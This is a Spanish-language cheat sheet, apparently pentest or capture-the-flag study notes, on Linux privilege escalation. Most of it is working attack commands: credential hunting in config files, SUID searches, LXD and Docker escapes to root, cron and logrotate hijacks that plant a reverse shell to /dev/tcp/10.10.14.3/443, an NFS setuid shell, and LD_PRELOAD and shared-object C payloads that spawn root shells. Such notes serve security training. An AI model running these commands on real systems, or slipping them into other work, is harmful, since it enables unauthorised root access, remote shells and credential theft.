23 - Escalada en Linux

Comandos básicos para orientarnos: whoami, id, hostname, ifconfig/ip a, y sobre todo sudo -l (a veces sudo su es el camino más rápido).

Recopilación de Información

Enumeración del Sistema

bash
$ cat /etc/os-release        # distribuciónuname -a                   # kernel$ echo $PATH                 # posibles problemas de PATHenv                        # credenciales en variableslsblk; df -h; cat /etc/fstab   # discos y montajes$ cat /etc/passwd /etc/group     # usuarios y grupos$ find / -type f -name ".*" 2>/dev/null   # ficheros ocultos
Revisar /home/<usuario> (.bash_history, claves SSH en .ssh), directorios temporales (/tmp, /var/tmp, /dev/shm), cron jobs (ls -la /etc/cron.*), /proc (find /proc -name cmdline -exec cat {} \;), paquetes (apt list --installed, sudo -V), procesos como root (ps aux | grep root).

Buscar credenciales

terminal
$ cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'$ find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
Claves SSH privadas de otros usuarios; revisar ~/.ssh/known_hosts.

Basado en el entorno

Permisos SUID y SGID

terminal
$ find / -perm -4000 -type f 2>/dev/null   # SUID$ find / -perm -2000 -type f 2>/dev/null   # SGID

Sudo -l

terminal
sudo -l

Grupos Privilegiados

LXC / LXD

terminal
lxc init alpine r00t -c security.privileged=truelxc config device add r00t mydev disk source=/ path=/mnt/root recursive=truelxc start r00tlxc exec r00t /bin/sh

Docker

terminal
$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash

Disk y adm

Dan acceso directo a los discos (/dev/sda1) y a los logs de /var/log/.

Capabilities

terminal
getcap -r / 2>/dev/null# p.ej. /usr/bin/vim.basic = cap_dac_override+eip  -> leer root/flag.txt con vim

Basado en servicios

Cron Jobs

Rutas: /etc/crontab, /etc/cron.d/, /var/spool/cron/. Usa pspy para observar procesos. Caso real: /dmz-backups/backup.sh con permisos 777 ejecutado cada 3 minutos por cron → añadir bash -i >& /dev/tcp/10.10.14.3/443 0>&1.

Logrotate

Vulnerable si tienes escritura sobre un log que será rotado, el script corre como root, y la versión es vulnerable (3.8.6, 3.11.0, 3.15.0, 3.18.0):
terminal
$ git clone https://github.com/whotwagner/logrotten.git$ cd logrotten && gcc logrotten.c -o logrotten$ echo 'bash -i >& /dev/tcp/TU_IP/PUERTO 0>&1' > payload$ ./logrotten -p ./payload /tmp/archivo.log

NFS (no_root_squash)

bash
showmount -e <ip>; cat /etc/exports# Si hay no_root_squash: montar, subir binario setuid y ejecutarlosudo mount -t nfs 10.129.X.X:/tmp /mntgcc shell.c -o shell   # setuid(0);setgid(0);system("/bin/bash")$ cp shell /mnt && chmod u+s /mnt/shell

Secuestro de sesiones TMUX

terminal
ps aux | grep tmuxtmux -S /shareds

Basado en sistemas internos

LD_PRELOAD

Si sudo -l muestra env_keep+=LD_PRELOAD y puedes ejecutar algo como sudo:
c
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
terminal
gcc -fPIC -shared -o /tmp/root.so root.c -nostartfilessudo LD_PRELOAD=/tmp/root.so /usr/bin/openssl

Shared Object Hijacking

Binario SETUID con RUNPATH escribible (ldd/readelf). Reemplazar la librería con una que defina la función esperada (dbquery()):
c
void dbquery() { setuid(0); system("/bin/sh -p"); }
terminal
gcc src.c -fPIC -shared -o /development/libshared.so

Python Library Hijacking

Si un script SUID importa un módulo con permisos de escritura, o puedes crear psutil.py en un directorio de mayor prioridad en sys.path, o usar PYTHONPATH:
terminal
sudo PYTHONPATH=/tmp/ /usr/bin/python3 mem_status.py

0-days recientes

  • Sudo: CVE-2021-3156 (Baron Samedit), CVE-2019-14287 (sudo < 1.8.28).
  • Polkit (PwnKit).
  • Dirty Pipe: kernel 5.8–5.17 (uname -r). Exploit 2: find / -perm -4000 2>/dev/null y ./exploit-2 /usr/bin/sudo.
  • Netfilter: CVE-2021-22555 (kernel 2.6–5.11).

Otros

terminal
ss -lntp                       # puertos internos$ cat /etc/nginx/sites-enabled   # subdominios